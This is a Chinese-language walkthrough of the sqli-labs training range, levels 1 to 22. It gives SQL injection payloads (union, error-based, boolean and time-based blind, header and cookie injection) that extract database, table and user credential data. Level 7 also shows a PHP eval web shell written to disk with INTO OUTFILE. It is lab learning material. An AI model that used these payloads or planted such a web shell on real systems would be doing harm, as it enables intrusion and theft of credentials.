1. Less-1

我们先进入靶场,根据提示构造一下id,然后正式开始渗透

我们先用数字型找一下注入点

1 and 1=2

这里数据返回正常,但是我们的这个代码应该是返回错误的数据,说明构造的不对,再用字符串型找一下

1' and 1=1 --

看到这儿之后就简单了,就是个简单的字符型注入,之后就是常规操作了。

先拿脚本order by一下,脚本就是个简单的爬虫,利用了order by的特性。当然你要想一个一个试也行

1' order by 3 --

跑出来字段数是3

然后再联合注入一下,我们构造一下url

得到URL

我们直接访问这个URL,然后看一下这个url的效果

可以看到,第二个和第三个字段是显示的。

然后就是正常的替换了,把我们要显示的内容替换到2或者3的位置上。

1
-1' union select 1,database(),3 -- 

上面的代码就是说让数据库名称显示在2的位置上。

注意这里是-1,如果是1的话,会显示原来网页上的内容。

这样为我们就得到了表和字段,接下来查看字段数据就行了,这个就简单了。

1
-1' union select 1, group_concat(username), 3 from users --

上面代码的意思是让username中的数据全部显示在2的位置上。

这样就得到了users表的username字段了,同理就可以得到password字段内容。

2. Less-2

先找注入点

1
1 and 1=2

发现1=2无数据,1=1有数据,可以确定是个简单的数字型注入。

先order by一下

1 order by 3

获取当前字段数为3,然后开始联合注入

得到URL

1
-1 union select 1, 2, 3

访问这个URL,看显错位(就是显示啥数字)

我们找到了显错位,之后就是和Less-1一样了。直接联合注入就行。

3. Less-3

这个的注入点不是怎么太常规,正常的字符型和数字型都不太可以,那就随便试一下

1
1) and 1=2

不应该显示数据但却显示了,说明找错了,试试字符串型

1
1') and 1=1 --

发现1=1时数据返回正常,1=2时无数据,找到注入点,然后就是和之前两个一样了,order by,找显错,改字段,和上面基本一样没啥好说的。

1') order by 3 --

-1') union select 1,2,3 --

4. Less-4

试一下注入点

找到是双引号加括号

1
1") and 1=1 --

你可能会问我怎么试的,就是随便试的,做多了就有经验……

然后还是一样了,联合注入

1") order by 3 --

-1") union select 1,2,3 --

5. Less-5

试了一下,是一个简单的字符串注入

1' and 1=2 --

但是它好像不能用联合注入。那我们就得用其他的方法了。

发现这道题存在报错,所以可以用报错注入

先试字段数

1' order by 3 --

确定字段数为3

然后开始盲注了

1
1' and updatexml(1,concat('~',(select database())),1) --

这样就得到了数据库的名称。

然后我们把database()换成其他的函数,就可以得到其他的数据

这里数据路径和数据库的安装路径是报错不出来的

然后就是“愉快”的爆表环节

1
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1) --

这样就得到了security库下的所有表

然后从该表下得到所有的字段

1
1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1) --

获取security库下的users表中的所有字段。

得到字段,下面就简单了。

1' and updatexml(1,concat('~',(select group_concat(username) from users)),1) --

但是这里数据显示不全,用limlt函数一个一个显示就行了。

1
1' and updatexml(1,concat('~',(select username from users limit 0,1)),1) --

6. Less-6

这关不怎么好看,我这里给一个建议

我们直接id=9999999,一个特别大的数,肯定是不会返回数据的,这时候再用or去试

然后这里试出来试这样的

1
1000" or 1=1 --

然后这道题还有报错。

又是字符串型的报错注入,和上面一样,把单引号变成双引号就行了。

1
2
3
1" and updatexml(1,concat('~',(select database())),1) --
|
改成双引号就行

7. Less-7

这个试注入点会有点难受

1
1')) and 1=1 --

它这个试是单引号加两个括号,不怎么容易试。

然后我们发现order by 能用,但是下一步就有点不太好使了,这还有点像盲注,但是报错注入要是去试的话还不好使,时间盲注也不太像。

我们这里用到了into outfile来实现一个叫“写马”的操作。

先准备一个木马,我这里用了一个经典的PHP木马

1
<?php @eval($_POST[123]);?>  // 这个123就是一会儿的密码

SQL注入上传文件的话,需要权限,我们去MySQL设置一下。

在mysql配置文件中添加:secure_file_priv=

然后就可以上传文件了

注意这个上传路径,我们后面是要访问的,所以要放到网站文件夹底下。

1
http://localhost/sql-libs/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[123]);?>' into outfile 'D:\\SoftWare\\phpstudy_pro\\WWW\\sql-libs\\Less-7\\Less7.php' --

但是我这里出了问题,死活传不上……,改URL目录,加减反斜杠,设置文件权限,但是还是不行。

8. Less-8

很容易找到注入点

1
1'and 1=1 --

但是发现了一个问题:语句错误无显示;语句正确一直显示相同内容,

这就是用到布尔盲注了

1' order by 3 --

先找字段数,跑出来是3

然后开始猜内容了。

先猜数据库长度

1
1' and length(database())=8 --

然后猜数据库的名称

1
2
1' and ascii(substr(database(),8,1))=121 --
第八个字符的ascii码为121,即y

这样得到了数据库的名字,但是这个过程,额,会浪费亿点点时间。

获取有几张表

1' and (select count(table_name) from information_schema.tables where table_schema=database

获取每张表的长度

1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1)) = 6 --

获取每张表的名字

1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- 

我们得到了一张users表,我们现在猜users表中有几个字段

1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 -- 

然后获取每个字段的长度、

1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2 -- 

获取每个字段的名称

1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105 -- 

我们这样就可以得到字段名,然后就能得到字段数据了

1' and ascii(substr((select concat(username,'@',password) from users limit 0,1),1,1))=68 -- 

9. Less-9

这个在找注入点的时候,发现怎么弄返回结果都不变,感觉是需要时间盲注。

发现正常的访问时间差为近2s,但是此时是3s多,这是一个字符串型注入。

时间盲注和布尔注入差不多,就是加了个时间

1
2
3
1' and (ascii(substr(database(),1,1))=121 and sleep(1) -- 

就是在后面加了个sleep(1),需要判断时间差是否大于正常值

10. Less-10

无论怎么弄结果都不变,怀疑还是用时间盲注

找到注入点是双引号注入。

和上道题几乎一摸一样。

1
2
3
1" and (ascii(substr(database(),1,1))=121 and sleep(1) -- 
|
双引号

11. Less-11

这道题长得不太一样,是一个登录界面

我们简单试一下。

账号密码输入123456

嗯,不行,上burp

我们先截一下包

我们注入一下

然后放行

发现漏洞。

我们正常注入一下

注意这里是用 # 表示注释

放行

可以的登录,确认是字符串型注入。

然后就可以通过这种方式得到不同的数据

order by 3返回数据失败,order by 2成功返回数据,字段数为2

然后开始搞数据

1
uname=ad' union select user(),database()#&passwd=admin&submit=Submit

这俩都是显错位,得到数据库和用户信息,剩下的直接搞就行了。

查看security库下的所有表

1
uname=1' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),1#&passwd=admin&submit=Submit

查看users表下的所有字段

1
uname=ad' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=admin&submit=Submit

查看username和password字段的值

1
uname=ad' union select 1,(select group_concat(username,password) from security.users)#&passwd=admin&submit=Submit

12. Less-12

和上一道题一样的过程,就是注入点变了一下。

1
123") or 1=1 #

其他和上一道题一样

13. Less-13

好像也一样,找注入点

1
1') or 1=1 #

但是上面的套路好像不太好使,试了几次,感觉是报错注入

1
uname=1') and updatexml(1,(concat('~',(select database()))),1)#

这样就得到了数据库名称

剩下的和常规报错注入一样了,我这里就展示一个爆破表的代码,剩下的自己试试。

1
uname=1') and updatexml(1,(concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security'))),1)#&passwd=&submit=Submit

14. Less-14

和13题一样,就是把单引号换为双引号,无需闭合括号。

1
1" or 1=1 #

其他的和13题一样。

15. Less-15

找注入点

1
1' or 1=1#

在order by 的时候发现这玩意不变了,又是盲注。

1
uname=1' or length(database())=8 and sleep(0.1) #p

16. Less-16

注入点

1
1") or 1=1 #

试了一下,还是时间盲注,和上一道题一样。

17. Less-17

这道题有一个已知条件账号是admin,要不然做不出来。

映入眼帘的是一个[PASSWORD RESET]

这里要注意一下,这个是密码重置,要注入的是密码。

密码重置,创建,修改,这些都是针对数据库的增删操作,我们用的是update函数,所以我们也要用这个。

那这就简单了,报错注入嘛,先找注入点。

1
1' or 1=1 #

然后在密码处注入就行了.

passwd=1' and updatexml(1,concat('~',(select database())),1) #

18. Less-18

这道题的前提是知道账号和密码,要不然做不出来

账号:Dumb,密码:Dumb

我们登录一下,发现有个这个东西

返回了一个UA信息,那么我们应该就是要修改UA来进行注入了。

这里有报错信息,说明可以用报错注入。

找到注入点

1
' #

就是一个简简单单的单字符注入。

这里注意一下,要确定一下字段

现在是两个字段,说少字段,那就再加

三个字段刚好。

1
2
UA设置为:
' or updatexml(1,concat('~',database()), 0), 1, 1) #

其他的和报错注入一样。

19. Less-19

和18题一样,登录之后显示refer

把代码放到refer里头就行了

这里注意,字段数是2

其他的没啥,套脚本就行。

20. Less-20

这道题登录进去一堆乱七八糟的

这里是我们登录进去,出现的这些内容。

所以说出现这个界面的前提是cookie内容正确,那我们在这个页面改一下cookie会怎么样。

order by 3 没问题,order by 4出现报错,字段数为3

然后就简单了,报错注入就行了。

剩下的和之前一样。

21. Less-21

登录进去感觉好像和上一道题一样。

我们抓一下包

哎,这个cookie

加密了一次,这应该是base64加密,我们解一下试试

我们现在的思路就是,把SQL语句加密一次,然后再传参。

注入方式是单引号括号注入

1
1') #

我们找字段数

这样得到加密数据

得到显错位,然后就简单了,联合注入就行了。

22. Less-22

和上一道一样,单引号变双引号就行了。